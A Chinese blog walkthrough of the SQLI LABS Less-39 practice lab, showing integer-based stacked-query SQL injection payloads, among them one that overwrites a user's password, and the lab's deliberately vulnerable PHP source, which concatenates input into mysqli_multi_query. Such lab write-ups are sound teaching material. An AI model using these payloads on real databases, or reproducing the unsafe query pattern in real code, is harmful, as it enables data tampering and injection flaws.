SQLI LABS | Less-39 GET-Stacked Query Injection-Intiger Based

关注这个靶场的其它相关笔记:SQLI LABS ------ 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

复制代码
 http://localhost/sqli-labs/Less-39/

本关是堆叠注入,先来看一下受害者原始数据(我们的目标就是篡改信息,或者删除信息?):

首先,用 BP 抓包,然后用时间盲注的字典去爆破后端 SQL 模板:

如下,是一个可以使用的 Payload 模板:

sql 复制代码
 1 and sleep(3)

通过上面的模板,我们可以推测出其后端的 SQL 模板为:

sql 复制代码
 select * from users where id=$_GET["id"];

我们可以使用如下 Payload 做一个测试,进行校验,看看我们上面的推测是否正确:

sql 复制代码
 1 and 1=1   => 若页面回显内容,则证明存在漏洞
 1 and 1=0   => 若页面回显为空,则证明存在漏洞

明确了漏洞存在,且知道 Payload 该怎么写后,就是收集数据库信息、收集数据表信息 。。。 这些笔者在这里节省时间就不说了,直接当作已知条件,下面直接开始上堆叠注入的 Payload:

sql 复制代码
 -- 修改 id = 1 的用户密码为 HACKER
 1;update users set password='HACKER' where id=1;#

如上,我们已经能够随意篡改用户密码了。至此,SQLI LABS Less-39 GET-Stacked Query Injection-Intiger Based 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-39 GET-Stacked Query Injection-Intiger Based 后端的部分源码,以及笔者做的笔记:

php 复制代码
<?php
 // take the variables 
 if (isset($_GET['id'])) {
 $id = $_GET['id'];
 //logging the connection parameters to a file for analysis.
 $fp = fopen('result.txt', 'a');
 fwrite($fp, 'ID:' . $id . "\n");
 fclose($fp);
 ​
 // connectivity
 //mysql connections for stacked query examples.
 $con1 = mysqli_connect($host, $dbuser, $dbpass, $dbname);
 // Check connection
 if (mysqli_connect_errno($con1)) {
     echo "Failed to connect to MySQL: " . mysqli_connect_error();
 } else {
     @mysqli_select_db($con1, $dbname) or die("Unable to connect to the database: $dbname");
 }
 ​
 // 直接拼接进 SQL 模板中
 $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
 /* execute multi query */
 // mysqli_multi_query => 执行一个或多个针对数据库的查询,多个查询用分号进行分隔。 
 if (mysqli_multi_query($con1, $sql)) {
     /* store first result set */
     // mysqli_stroe_result => 转移将上一次查询返回的结果集(多个结果)
     if ($result = mysqli_store_result($con1)) {
         if ($row = mysqli_fetch_row($result)) {
             echo '<font size = "5" color= "#00FF00">';
             printf("Your Username is : %s", $row[1]);
             echo "<br>";
             printf("Your Password is : %s", $row[2]);
             echo "<br>";
             echo "</font>";
         }
         //            mysqli_free_result($result);
     }
     /* print divider */
     // mysqli_more_results => 如果当前执行的查询存在多个结果,返回 "真",否则返回 "假"
     if (mysqli_more_results($con1)) {
         //printf("-----------------\n");
     }
     //while (mysqli_next_result($con1));
 } else {
     echo '<font size="5" color= "#FFFF00">';
     print_r(mysqli_error($con1));
     echo "</font>";
 }
 /* close connection */
 mysqli_close($con1);
 } else {
 echo "Please input the ID as parameter with numeric value";
 }
 ?>
相关推荐
coderlin_3 小时前
BI布局拖拽 (1) 深入react-gird-layout源码
android·javascript·react.js
小红卒3 小时前
upload-labs靶场通关详解:第21关 数组绕过
web安全·网络安全·文件上传漏洞
2501_915918413 小时前
Fiddler中文版全面评测:功能亮点、使用场景与中文网资源整合指南
android·ios·小程序·https·uni-app·iphone·webview
wen's5 小时前
React Native安卓刘海屏适配终极方案:仅需修改 AndroidManifest.xml!
android·xml·react native
编程乐学6 小时前
网络资源模板--基于Android Studio 实现的聊天App
android·android studio·大作业·移动端开发·安卓移动开发·聊天app
没有了遇见8 小时前
Android 通过 SO 库安全存储敏感数据,解决接口劫持问题
android
hsx6668 小时前
使用一个 RecyclerView 构建复杂多类型布局
android
hsx6668 小时前
利用 onMeasure、onLayout、onDraw 创建自定义 View
android
守城小轩8 小时前
Chromium 136 编译指南 - Android 篇:开发工具安装(三)
android·数据库·redis
whysqwhw8 小时前
OkHttp平台抽象机制分析
android